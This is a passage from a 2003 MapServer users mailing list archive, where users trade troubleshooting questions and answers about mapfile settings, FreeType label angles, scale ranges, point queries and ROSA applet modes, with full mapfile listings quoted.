link to a zip file containing all of the relevant code. Feel free to
use
anything you want. I couldn't have been here without the help and
knowledge
gleamed from this users group. I would appreciate any bug reports,
feedback,
suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on
a Mac
and so far all is well.
http://132.156.108.209/FlashMap/FlashMapServer.html
Cheers!
Ryan
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From lee at geoplan.ufl.edu Fri Jan 17 11:24:56 2003
From: lee at geoplan.ufl.edu (lee at geoplan.ufl.edu)
Date: Fri, 17 Jan 2003 14:24:56 -0500 (EST)
Subject: [Mapserver-users] Requesting Help: From Shapefiles to Oracle SDE Layers
Message-ID: <61366.128.227.0.67.1042831496.squirrel@mail.geoplan.ufl.edu>
Ok, I don't really know where to start.
We have an application running.
http://www.fgdl.org
I have no GIS background and only minimal experience in dealing with
mapserver. What my job currently entails is to learn how to move our
application away from static shapefiles, to our constantly updated Oracle
SDE layers.
I'm wondering if there's a way and the method it entails to manipulate
the .MAP files' code to just pull the SDE layers instead of the shapefiles.
Any ideas/suggestions would be greatly appreciated.
Lee Slattery
University of Florida, Geoplan Center
From steve.lime at dnr.state.mn.us Fri Jan 17 14:36:22 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 17 Jan 2003 16:36:22 -0600
Subject: [Mapserver-users] TrueType Font and Label Angle
Message-ID:
Interesting. I'll still blame the GD code ;-) I need to make sure the
angle computation code is consistent but I believe no changes have been
made there. The other place to look is at the font metrics being caughed
up by FT via GD. If they have changed or their interpretation has
changed then that could affect label placement (but not angle). If you
would, please file you report and images in bugzilla.
Now that John Ellison has *stable* FT code in GD it may be the time to
poke around it. I have a couple of old mods that may still be applicable
to him.
BTW Have you experimented with different fonts? I've noticed real
differences between fonts and wonder how much can be put on that.
Steve
>>> "Jonathan W. Lowe" 01/17/03 10:08 AM >>>
Steve,
These responses cleared up my confusion and moved things forward--thanks
for the clarification. FYI: there does seem to be a difference in label
angles and placement between mapserver-3.6.3 and mapserver-3.7 (from
yesterday's nightly build.
Specifically, when labeling lines with the "ANGLE AUTO" parameter,
mapserver-3.6.3 (w/ freetype-1.3.1 and gd-1.8.4) places line labels
exactly along and on top of the lines. Mapserver-3.7 (w/ freetype-2.1.3
and gd-2.x) places the labels (sometimes) slightly different from the
angle of the lines and slightly askew from the lines.
Comparisons appear at the following (temporary) URL:
http://www.giswebsite.com/labels/
The labels generated by mapserver-3.6.3 look cleaner cartographically
(to my eye). Certainly not a show stopper--but I thought you might like
to know in case it's an easy fix.
Thanks again,
Jonathan
On Thu, 2003-01-16 at 21:00, Steve Lime wrote:
> 1) Who knows. Since there is an easy work around I've not felt the
need
> to poke around the GD code- that's where the problem is. The pain is
on
> those systems that have a particular version of GD and/or Freetype
> pre-installed (life is fine on Solaris for example).
>
> 2) Um, no need to blame anyone. It really shouldn't have been until GD
> 2.0 was stable, so prior to 3.7 only Freetype 1 should be looked for.
> The good news is that recent versions of GD 2.0 have had major updates
> to TTF support and are believed to work just fine. Bottom line is to
use
> freetype 1.3.1/gd 1.8.4 with MapServer 3.6.x and either that
combination
> or freetype 2.0/gd 2.x with MapServer 3.7.
>
> 3) The bug(s) is in the GD interface to Freetype, not in Freetype
> itself. Freetype 2 support in GD has not been stable until recently.
>
> Steve
>
>
> Stephen Lime
> Data & Applications Manager
>
> Minnesota DNR
> 500 Lafayette Road
> St. Paul, MN 55155
> 651-297-2937
> >>> "Jonathan W. Lowe" 01/16/03 21:38 PM >>>
> Questions (for Daniel?) about the freetype1 vs. freetype2 problem:
>
> 1) Why does the same version of gd + freetype2 result in a successful
> mapserver compilation (i.e. no label angle problems) on RedHat 8.0,
but
> not on FreeBSD?
>
> 2) If freetype2 is a problem, why is it the default in the mapserver
> Makefile?
>
> 3) And, if there is a bug in freetype2, rather than avoiding freetype2
> altogether (an endeavor raising its own set of problems), why not get
> the bug fixed? Is it a known bug? Has anyone from the list
identified
> the bug and/or contacted the freetype developer(s) to report it?
>
> (If this is much easier said than done, please forgive my naivete.)
>
> Thank you,
> Jonathan Lowe
>
> On Tue, 2003-01-14 at 21:42, Daniel Morissette wrote:
> > "Jonathan W. Lowe" wrote:
> > >
> > > For what it's worth, my installation on RedHat 8.0 didn't have the
> label angle
> > > problems, so it is possible to successfully compile the software
on
> Linux. At
> > > one point in my efforts to overcome the label angle problems, I
> found a
> > > reference that said the mere presence of freetype2 might force the
> compiler to
> > > use freetype2 (the supposed culprit in the label angle problem)
> rather than
> > > freetype1. Do you have root access to the system on which you are
> compiling? I
> > > had to isolate libraries like gd and freetype in a local
directory
> in order to
> > > be sure my compilation used exactly the libraries I intended it to
> use.
> > >
> >
> > FYI there is a --enable-force-freetype1 configure switch in 3.6.x
and
> > 3.7 to try to force detection of Freetype 1 in priority over
freetype
> 2
> > when a system has both. Starting with RH 7.x and 8.x this is very
> > useful if you want to compile with your own custom GD with freetype
> 1.3.
> >
> > Daniel
> > --
> > ------------------------------------------------------------
> > Daniel Morissette morissette at dmsolutions.ca
> > DM Solutions Group http://www.dmsolutions.ca/
> > ------------------------------------------------------------
> >
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From mzm at imagecatinc.com Fri Jan 17 18:12:56 2003
From: mzm at imagecatinc.com (Michael Mio)
Date: Fri, 17 Jan 2003 18:12:56 -0800
Subject: [Mapserver-users] can a layer have two templates?
Message-ID:
Hi everyone. Is there any way a layer can have two templates? I am trying to
have a photo and some data come up when a point is clicked on a map. Right
now, I can only get the photo to come up or the data, but not both. I have
two layers defined in my mapfile that have different names, but bring up the
same vectors on the map. So whichever layer is defined last is the
information that comes up. If anyone has any idea about this or any better
way for me to bring two pieces of data up when clicking on a point, please
let me know. Thanks a lot!
***************
Michael Mio
ImageCat, Inc.
From Uffe Sat Jan 18 05:41:21 2003
From: Uffe (Uffe)
Date: Sat, 18 Jan 2003 14:41:21 +0100
Subject: [Mapserver-users] Index on field in DBF?
References:
Message-ID: <007401c2bef7$49c6a570$6501a8c0@dual866>
In a SHP file I have a field, which is used to determine whether or not
the shape should be drawn at the current scale. This is done using an
expression in the mapfile and the maxscale property. This a bit slow on
large extents (where I don't want all details drawn), so my question is
this:
Is it possible to define an index on the field in the DBF file and have
mapserver use it?
Or should I split the SHP file in smaller parts for each value of the
field?
TIA
Uffe Kousgaard
From DOtt at PALATINE.IL.US Sat Jan 18 10:02:43 2003
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Sat, 18 Jan 2003 12:02:43 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #47 - 6 msgs (Auto Reply.)
Message-ID:
Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks!
From scarr at progbits.com Sat Jan 18 11:22:13 2003
From: scarr at progbits.com (Scott Carr)
Date: Sat, 18 Jan 2003 13:22:13 -0600
Subject: [Mapserver-users] MaxScale / MinScale Problem
Message-ID: <1042917733.3e29a9657531b@progbits.com>
I have a residential and a business layer that lists a whole lot of people
numbers and such. I would like these layers to only show up when I get down to
a certain extent.
Anytime I put numbers in the MaxScale / MinScale, the layers are not displayed
at all. I have put numbers of varying ranges in, but no luck.
Any ideas?
My Map File as it stands now:
map
extent -104.187846 39.864694 -103.411784 40.610718
fontset "symbols/fontset.fon"
imagecolor 255 255 255
name "Caldwell County"
shapepath "data"
size 530 430
status on
symbolset "symbols/all.sym"
transparent on
units feet
# 1 scalebar #none
scalebar
backgroundcolor 123 123 123
color 255 0 0
imagecolor 0 0 255
intervals 4
outlinecolor 0 0 0
size 200 7
status on
style 0
transparent true
units feet
# 1 label #none
label
backgroundcolor 0 0 0
color 255 255 0
size tiny
end
end
# 2 layer Cities
layer
classitem "ID"
data "Cities"
group "Cities"
labelcache on
name "Cities"
status on
type polygon
# 1 class Cities_1
class
backgroundcolor 128 128 128
color 0 128 255
name "Cities_1"
outlinecolor 0 0 0
end
end
# 3 layer County
layer
classitem "ID"
data "County"
group "County"
labelcache on
name "County"
status on
type polygon
# 1 class County_1
class
backgroundcolor 128 128 128
color 128 255 128
name "County_1"
outlinecolor 0 0 0
end
end
# 4 layer Geocode
layer
classitem "ID"
data "Geocode"
group "Geocode"
labelcache on
name "Geocode"
status on
type line
# 1 class Geocode_1
class
backgroundcolor 128 128 128
color 128 128 128
name "Geocode_1"
outlinecolor 0 0 0
end
end
# 5 layer Lakes
layer
classitem "ID"
data "Lakes"
group "Lakes"
labelcache on
name "Lakes"
status on
type polygon
# 1 class Lakes_1
class
backgroundcolor 128 128 128
color 0 128 255
name "Lakes_1"
outlinecolor 0 0 0
end
end
# 6 layer Landmarks
layer
classitem "ID"
data "Landmarks"
group "Landmarks"
labelcache on
name "Landmarks"
status on
type polygon
# 1 class Landmarks_1
class
backgroundcolor 128 128 128
color 255 128 0
name "Landmarks_1"
outlinecolor 0 0 0
end
end
# 7 layer Majorroads
layer
classitem "FRC"
data "Majorroads"
group "Majorroads"
labelcache on
name "Majorroads"
status on
type line
# 1 class Majorroads_1
class
backgroundcolor 128 128 128
color 0 0 0
name "Majorroads_1"
outlinecolor 0 0 0
size 2
end
end
# 8 layer medical
layer
classitem "ABINUMBER"
data "medical"
footer "medical_footer.html"
group "medical"
header "medical_header.html"
labelcache on
name "medical"
status on
type point
# 1 class medical_1
class
backgroundcolor 128 128 128
color 255 255 0
name "medical_1"
outlinecolor 0 0 0
end
end
# 9 layer Railroads
layer
classitem "ID"
data "Railroads"
group "Railroads"
labelcache on
name "Railroads"
status on
type line
# 1 class Railroads_1
class
backgroundcolor 128 128 128
color 0 0 0
name "Railroads_1"
outlinecolor 0 0 0
end
end
# 10 layer residential
layer
classitem "NAME"
data "residential"
group "residential"
labelcache on
maxscale 20000
minscale 100
name "residential"
status on
symbolscale 1
type point
# 1 class residential_1
class
backgroundcolor 255 255 255
color 255 128 0
maxsize 10
minsize 2
name "residential_1"
outlinecolor 0 0 0
size 1
symbol "house"
end
end
# 11 layer business
layer
classitem "NAME"
data "business"
footer "business_footer.html"
group "business"
header "business_header.html"
name "business"
status on
MAXSCALE 5000
MINSCALE 100
symbolscale 1
type point
# 1 class business_1
class
backgroundcolor 128 128 128
color 255 0 0
maxsize 10
minsize 2
name "business_1"
outlinecolor 0 0 0
size 1
symbol "circle"
end
end
# 12 layer Rivers
layer
classitem "ID"
data "Rivers"
group "Rivers"
labelcache on
name "Rivers"
status on
type line
# 1 class Rivers_1
class
backgroundcolor 128 128 128
color 0 128 255
name "Rivers_1"
outlinecolor 0 0 0
end
end
# 13 web 1222.html
web
footer "1222_footer.html"
header "1222_header.html"
imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\"
imageurl "/tmp/"
template "1222.html"
end
# 14 querymap hilite
querymap
color 255 0 0
size 530 430
status on
style hilite
end
# 15 reference graphics/reference.gif
reference
color -1 -1 -1
extent -104.187846 39.864694 -103.411784 40.610718
image "graphics/reference.gif"
outlinecolor 255 0 0
size 120 120
status on
end
# 16 legend #none
legend
keysize 18 12
status on
# 1 label #none
label
color 0 0 89
size medium
type bitmap
end
end
end
--
Scott Carr
Documentation Maintainer
http://documentation.openoffice.org
OpenOffice.org
-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/
From morissette at dmsolutions.ca Sat Jan 18 11:59:41 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Sat, 18 Jan 2003 14:59:41 -0500
Subject: [Mapserver-users] MaxScale / MinScale Problem
References: <1042917733.3e29a9657531b@progbits.com>
Message-ID: <3E29B22D.7A988EF6@dmsolutions.ca>
Scott Carr wrote:
>
> I have a residential and a business layer that lists a whole lot of people
> numbers and such. I would like these layers to only show up when I get down to
> a certain extent.
>
> Anytime I put numbers in the MaxScale / MinScale, the layers are not displayed
> at all. I have put numbers of varying ranges in, but no luck.
>
> Any ideas?
Try putting a [scale] tag in your template to view the range of scale
values that your map produces as you zoom in and out. This will help
you in figuring the numbers to use as minscale and maxscale.
Also, if the scale value is not in the range that you expect it may be
because the UNITS at the top level of your map are not set properly.
The UNITS parameter must correspond to the units used by the EXTENT in
your mapfile.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From scarr at progbits.com Sat Jan 18 19:45:25 2003
From: scarr at progbits.com (Scott Carr)
Date: Sat, 18 Jan 2003 21:45:25 -0600
Subject: [Mapserver-users] MaxScale / MinScale Problem
In-Reply-To: <3E296B70.4135.133394D@localhost>
References: <3E296B70.4135.133394D@localhost>
Message-ID: <1042947925.3e2a1f558166b@progbits.com>
Thanks, man. This worked like a charm. I messed around with this for a while
last night.
--
Scott Carr
Documentation Maintainer
http://documentation.openoffice.org
OpenOffice.org
Quoting woodbri at swoodbridge.com:
> Scott,
>
> Try changing your UNITS to DD then your MIN/MAXSCALE should work.
>
> -Steve
>
> On 18 Jan 2003 at 13:22, Scott Carr wrote:
>
> > I have a residential and a business layer that lists a whole lot of
> > people numbers and such. I would like these layers to only show up
> > when I get down to a certain extent.
> >
> > Anytime I put numbers in the MaxScale / MinScale, the layers are not
> > displayed at all. I have put numbers of varying ranges in, but no
> > luck.
> >
> > Any ideas?
> >
> > My Map File as it stands now:
> >
> > map
> > extent -104.187846 39.864694 -103.411784 40.610718
> > fontset "symbols/fontset.fon"
> > imagecolor 255 255 255
> > name "Caldwell County"
> > shapepath "data"
> > size 530 430
> > status on
> > symbolset "symbols/all.sym"
> > transparent on
> > units feet
> > # 1 scalebar #none
> > scalebar
> > backgroundcolor 123 123 123
> > color 255 0 0
> > imagecolor 0 0 255
> > intervals 4
> > outlinecolor 0 0 0
> > size 200 7
> > status on
> > style 0
> > transparent true
> > units feet
> > # 1 label #none
> > label
> > backgroundcolor 0 0 0
> > color 255 255 0
> > size tiny
> > end
> > end
> > # 2 layer Cities
> > layer
> > classitem "ID"
> > data "Cities"
> > group "Cities"
> > labelcache on
> > name "Cities"
> > status on
> > type polygon
> > # 1 class Cities_1
> > class
> > backgroundcolor 128 128 128
> > color 0 128 255
> > name "Cities_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 3 layer County
> > layer
> > classitem "ID"
> > data "County"
> > group "County"
> > labelcache on
> > name "County"
> > status on
> > type polygon
> > # 1 class County_1
> > class
> > backgroundcolor 128 128 128
> > color 128 255 128
> > name "County_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 4 layer Geocode
> > layer
> > classitem "ID"
> > data "Geocode"
> > group "Geocode"
> > labelcache on
> > name "Geocode"
> > status on
> > type line
> > # 1 class Geocode_1
> > class
> > backgroundcolor 128 128 128
> > color 128 128 128
> > name "Geocode_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 5 layer Lakes
> > layer
> > classitem "ID"
> > data "Lakes"
> > group "Lakes"
> > labelcache on
> > name "Lakes"
> > status on
> > type polygon
> > # 1 class Lakes_1
> > class
> > backgroundcolor 128 128 128
> > color 0 128 255
> > name "Lakes_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 6 layer Landmarks
> > layer
> > classitem "ID"
> > data "Landmarks"
> > group "Landmarks"
> > labelcache on
> > name "Landmarks"
> > status on
> > type polygon
> > # 1 class Landmarks_1
> > class
> > backgroundcolor 128 128 128
> > color 255 128 0
> > name "Landmarks_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 7 layer Majorroads
> > layer
> > classitem "FRC"
> > data "Majorroads"
> > group "Majorroads"
> > labelcache on
> > name "Majorroads"
> > status on
> > type line
> > # 1 class Majorroads_1
> > class
> > backgroundcolor 128 128 128
> > color 0 0 0
> > name "Majorroads_1"
> > outlinecolor 0 0 0
> > size 2
> > end
> > end
> > # 8 layer medical
> > layer
> > classitem "ABINUMBER"
> > data "medical"
> > footer "medical_footer.html"
> > group "medical"
> > header "medical_header.html"
> > labelcache on
> > name "medical"
> > status on
> > type point
> > # 1 class medical_1
> > class
> > backgroundcolor 128 128 128
> > color 255 255 0
> > name "medical_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 9 layer Railroads
> > layer
> > classitem "ID"
> > data "Railroads"
> > group "Railroads"
> > labelcache on
> > name "Railroads"
> > status on
> > type line
> > # 1 class Railroads_1
> > class
> > backgroundcolor 128 128 128
> > color 0 0 0
> > name "Railroads_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 10 layer residential
> > layer
> > classitem "NAME"
> > data "residential"
> > group "residential"
> > labelcache on
> > maxscale 20000
> > minscale 100
> > name "residential"
> > status on
> > symbolscale 1
> > type point
> > # 1 class residential_1
> > class
> > backgroundcolor 255 255 255
> > color 255 128 0
> > maxsize 10
> > minsize 2
> > name "residential_1"
> > outlinecolor 0 0 0
> > size 1
> > symbol "house"
> > end
> > end
> > # 11 layer business
> > layer
> > classitem "NAME"
> > data "business"
> > footer "business_footer.html"
> > group "business"
> > header "business_header.html"
> > name "business"
> > status on
> > MAXSCALE 5000
> > MINSCALE 100
> > symbolscale 1
> > type point
> > # 1 class business_1
> > class
> > backgroundcolor 128 128 128
> > color 255 0 0
> > maxsize 10
> > minsize 2
> > name "business_1"
> > outlinecolor 0 0 0
> > size 1
> > symbol "circle"
> > end
> > end
> > # 12 layer Rivers
> > layer
> > classitem "ID"
> > data "Rivers"
> > group "Rivers"
> > labelcache on
> > name "Rivers"
> > status on
> > type line
> > # 1 class Rivers_1
> > class
> > backgroundcolor 128 128 128
> > color 0 128 255
> > name "Rivers_1"
> > outlinecolor 0 0 0
> > end
> > end
> > # 13 web 1222.html
> > web
> > footer "1222_footer.html"
> > header "1222_header.html"
> > imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\"
> > imageurl "/tmp/"
> > template "1222.html"
> > end
> > # 14 querymap hilite
> > querymap
> > color 255 0 0
> > size 530 430
> > status on
> > style hilite
> > end
> > # 15 reference graphics/reference.gif
> > reference
> > color -1 -1 -1
> > extent -104.187846 39.864694 -103.411784 40.610718
> > image "graphics/reference.gif"
> > outlinecolor 255 0 0
> > size 120 120
> > status on
> > end
> > # 16 legend #none
> > legend
> > keysize 18 12
> > status on
> > # 1 label #none
> > label
> > color 0 0 89
> > size medium
> > type bitmap
> > end
> > end
> > end
> >
> >
> > --
> > Scott Carr
> > Documentation Maintainer
> > http://documentation.openoffice.org
> > OpenOffice.org
> >
> >
> >
> >
> >
> > -------------------------------------------------
> > This mail sent through IMP: http://horde.org/imp/
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
>
>
>
-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/
From scarr at progbits.com Sat Jan 18 20:17:12 2003
From: scarr at progbits.com (Scott Carr)
Date: Sat, 18 Jan 2003 22:17:12 -0600
Subject: [Mapserver-users] Legends and MaxScale / MinScale
Message-ID: <1042949832.3e2a26c89c40e@progbits.com>
Is there any way to force a Legend to always include all layers no matter if
they are included in the map or not?
--
Scott Carr
Documentation Maintainer
http://documentation.openoffice.org
OpenOffice.org
-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/
From scarr at progbits.com Sat Jan 18 23:09:04 2003
From: scarr at progbits.com (Scott Carr)
Date: Sun, 19 Jan 2003 01:09:04 -0600
Subject: [Mapserver-users] Query with Ellipse
Message-ID: <1042960144.3e2a4f10668af@progbits.com>
Is there an example of how to query using the ROSA Ellipse tool?
Do you have to create a Polygon shape object using the MBR?
Thanks in advance.
--
Scott Carr
Documentation Maintainer
http://documentation.openoffice.org
OpenOffice.org
-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/
From scarr at progbits.com Sun Jan 19 01:05:32 2003
From: scarr at progbits.com (Scott Carr)
Date: Sun, 19 Jan 2003 03:05:32 -0600
Subject: [Mapserver-users] Query Results
Message-ID: <1042967132.3e2a6a5cc3510@progbits.com>
I have some shapefiles with DBF data associated with them. I am not able to
query any of the features in these maps. I can pull up the information easily
with ArcView 3.2/8.1.
I keep getting No results, but I am draging a bounding rectangle that
encompasses several of the points that I know have data.
Any ideas? And thoughts?
Thanks in advance.
--
Scott Carr
Documentation Maintainer
http://documentation.openoffice.org
OpenOffice.org
-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/
From DOtt at PALATINE.IL.US Sun Jan 19 10:03:52 2003
From: DOtt at PALATINE.IL.US (Dale Ott)
Date: Sun, 19 Jan 2003 12:03:52 -0600
Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #48 - 7 msgs (Auto Reply.)
Message-ID:
Sorry but I will be out of the Office until Monday, January 20, 2003. I will be checking my email as soon as I return and will get back to you then. Sorry for any inconvenience. Thanks!
From ryanne.cruz at up.edu.ph Mon Jan 20 00:57:42 2003
From: ryanne.cruz at up.edu.ph (ryanne cruz)
Date: Mon, 20 Jan 2003 16:57:42 +0800
Subject: [Mapserver-users] Transparent
Message-ID: <1043053062.3e2bba064e145@mail.up.edu.ph>
What does the "TRANSPARENT FALSE" and "INTERLACE TRUE" means in the map file?
Example:
MAP
EXTENT 116.47 8.33311 121.035 12.3298
IMAGECOLOR 255 255 255
IMAGEQUALITY 75
IMAGETYPE PNG
INTERLACE TRUE
SIZE 800 700
STATUS ON
TRANSPARENT FALSE
UNITS METERS
NAME "WIND"
thanks!
ryanne cruz
From mccrone at pc.jaring.my Mon Jan 20 01:01:24 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Mon, 20 Jan 2003 17:01:24 +0800
Subject: [Mapserver-users] Old question (query/find) solved. New question - query, mode & rosa &
Message-ID: <001701c2c062$832a2320$c99e063d@clickntrac>
Firstly, I've manged to solve my issue regarding the searching for spatial
data based on an attribute - thanks to Richards Greenwood.
The solution was to have two layers - one for normal display and mouse click
query, and the other for searching query, that will
contain filters.
New problem:
I've manged to solve all of my rosa issues except the query (mouse click a
feature).
The only way I could get mine to work is to have the following -
I do not have a hidden variable like -
and therefore are not setting
this to anything.
When I enable the pquery tool I can click on a polygon and the tmeplate file
is called and all is fine. However,
when I activate the zoomin/out/pan tools it is still in nquery mode and
therefore it will not zoom/pan -
it just keeps selecting features and displaying info on them.
I've tried for the past few days playing around with javascript functions
and setting the mode back to
browse but still causing a problem. I'm sure the solution is simple, but
once again it eludes me.
Thanks,
Steve
From wesp at gdv.com Mon Jan 20 01:00:48 2003
From: wesp at gdv.com (Oliver Wesp)
Date: Mon, 20 Jan 2003 10:00:48 +0100
Subject: [Mapserver-users] itemnquery and [shpext]
Message-ID: <3E2BBAC0.6090006@gdv.com>
Dear List,
Maybe this is simple, cause I'm missing something. Maybe not. What I'm
trying to do is to make a simple itemnquery (item/value) get the results
and zoom the map to the extent of the result shapes. So what I thought I
do is simply place [shpext] in my template file to get the extent and
use this for creating the new map. Work fine except for the fact that
the only thing I get back for [shpext] is '-1 -1 -1 -1'. Same for
[shpmid] or any other extent related informationen about the shape. If I
place mapext=[shapes] in my request (just to give it a shoot) mapserver
tells me that it's not possible to generate a valid mapextent from
selected shapes.
Here is the setting
-qlayer is of polygon type.
-Datasource is SDE (8.2)
-Mapserver is 3.6.1
and here is my request:
http://mymachine/cgi-bin/mapserv?
map=/var/apache/htdocs/project/myMap.map
&mode=itemnquery
&qLayer=myLayer
&map_myLayer_filter="ITEM='VALUE'"
&map_myLayer_data=SDEUSER.SDETABALE,SHAPE
&map_myLayer_header=templates/searchheader.html
&map_myLayer_template=templates/search.html
&map_myLayer_footer=templates/searchcellfooter.html
Any hint is appreciated.
regards
Oliver
From nida at webstar.co.uk Mon Jan 20 01:58:59 2003
From: nida at webstar.co.uk (nida Khan)
Date: Mon, 20 Jan 2003 09:58:59 -0000
Subject: [Mapserver-users] query result for a point
Message-ID: <009e01c2c06a$8e62c820$a901a8c0@private.webstar.co.uk>
This is a multi-part message in MIME format.
------=_NextPart_000_009B_01C2C06A.8DCBB840
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi List,
I have a map file with some layers.=20
My query option works fine with all the polygon layers but it does not =
work for point.
For those points which are ploted on top of polygon, query display the =
polygon details,
and for the points outside the polygon, query display "no result found".
points layers is the top layer, so I dont understand why its querying =
the ploygon layer instead of points?
I really appreciate any input,
Many Thanks
Nida.
------=_NextPart_000_009B_01C2C06A.8DCBB840
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi List,
I have a map file with some layers.
My query option works fine with all the polygon =
layers but it=20
does not work for point.
For those points which are ploted on top of =
polygon,=20
query display the polygon details,
and for the points outside the polygon, =
query display "no=20
result found".
points layers is the top layer, so I dont understand =
why its=20
querying the ploygon layer instead of points?
I really appreciate any input,
Many Thanks
Nida.
------=_NextPart_000_009B_01C2C06A.8DCBB840--
From nida at webstar.co.uk Mon Jan 20 04:40:02 2003
From: nida at webstar.co.uk (nida Khan)
Date: Mon, 20 Jan 2003 12:40:02 -0000
Subject: [Mapserver-users] query result for a point
References: <009e01c2c06a$8e62c820$a901a8c0@private.webstar.co.uk> <000d01c2c07e$26f1ac60$0900a8c0@cpi.local>
Message-ID: <017501c2c081$0dc629c0$a901a8c0@private.webstar.co.uk>
This is a multi-part message in MIME format.
------=_NextPart_000_0172_01C2C081.0D6A9C40
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi Calin,
Thanx for your reply,
I tried tolerance 50 but still the same thing, query works only on =
polygon.
I also tried by plotting only points on the map, only one layer that =
means. :( still no luck.
here is def. of my layer in map file
# to disply postcode on map
LAYER # start of the "points" layer object
CONNECTIONTYPE postgis
NAME "points"
CONNECTION "host=3D34343 port=3D5432 user=3Dteest password=3Dtest =
dbname=3Dtest"
DATA "the_geom from points"
STATUS ON
TYPE POINT
METADATA=20
"DESCRIPTION" "DISTRICT"
"RESULT_FIELDS" "region"
END
CLASS
NAME "points"
COLOR 0 0 0
#OUTLINECOLOR 255 89 89
#SYMBOL 'circle'
SYMBOL 7
SIZE 8
END # end of class object
TOLERANCE 50
END # end of layer object
Many Thanks
Nida.
----- Original Message -----=20
From: Calin D. NITU=20
To: nida Khan=20
Sent: Monday, January 20, 2003 12:19 PM
Subject: Re: [Mapserver-users] query result for a point
Hi Nida,
Try to use the TOLERANCE ... I set it to 50 pixels (TOLERANCE 50) and =
the query works fine...
Calin
----- Original Message -----=20
From: nida Khan=20
To: Mapserver-users at lists.gis.umn.edu=20
Sent: Monday, January 20, 2003 10:58 AM
Subject: [Mapserver-users] query result for a point
Hi List,
I have a map file with some layers.=20
My query option works fine with all the polygon layers but it does =
not work for point.
For those points which are ploted on top of polygon, query display =
the polygon details,
and for the points outside the polygon, query display "no result =
found".
points layers is the top layer, so I dont understand why its =
querying the ploygon layer instead of points?
I really appreciate any input,
Many Thanks
Nida.
------=_NextPart_000_0172_01C2C081.0D6A9C40
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi Calin,
Thanx for your reply,
I tried tolerance 50 but still the same thing, =
query=20
works only on polygon.
I also tried by plotting only points on the map, =
only one=20
layer that means. :( still no luck.
here is def. of my layer in map file
# to disply postcode on map LAYER #=20
start of the "points" layer object CONNECTIONTYPE =
postgis =20
NAME "points" CONNECTION "host=3D34343 port=3D5432 =
user=3Dteest=20
password=3Dtest dbname=3Dtest" DATA "the_geom from =
points" =20
STATUS ON TYPE POINT METADATA =
"DESCRIPTION" "DISTRICT" =
"RESULT_FIELDS"=20
"region" END CLASS NAME=20
"points" COLOR 0 0 0 =
#OUTLINECOLOR=20
255 89 89 #SYMBOL 'circle' =
SYMBOL=20
7 SIZE 8 END # end of class =
object =20
TOLERANCE 50 END # end of layer object
Subject: [Mapserver-users] =
query result=20
for a point
Hi List,
I have a map file with some layers. =
My query option works fine with all the polygon =
layers but=20
it does not work for point.
For those points which are ploted on top of =
polygon,=20
query display the polygon details,
and for the points outside the polygon, =
query display=20
"no result found".
points layers is the top layer, so I dont =
understand why=20
its querying the ploygon layer instead of points?
I really appreciate any input,
Many Thanks
Nida.
------=_NextPart_000_0172_01C2C081.0D6A9C40--
From mccrone at pc.jaring.my Mon Jan 20 05:05:12 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Mon, 20 Jan 2003 21:05:12 +0800
Subject: [Mapserver-users] query/rosa - solved
Message-ID: <002401c2c084$952dd4a0$1361063d@clickntrac>
Soon after I posted my last question I found the answer. I placed javascript
calls for my
zoom in/out and pan (i.e. )
and in each funtion I had -
var inputtype
var aForm = document.forms[0]
aForm.mode.value = "browse";
aForm.lastButtonSelected.value = "recentre";
aForm.submit()
It seems the rosa query tool changed the mode to query (as expected), but
did not get changed back to 'browse'
by enabling the other tools.
Steve
From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Mon, 20 Jan 2003 14:16:35 +0100
Subject: [Mapserver-users] NT batch programm to kill old mapserver processes
In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de>
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
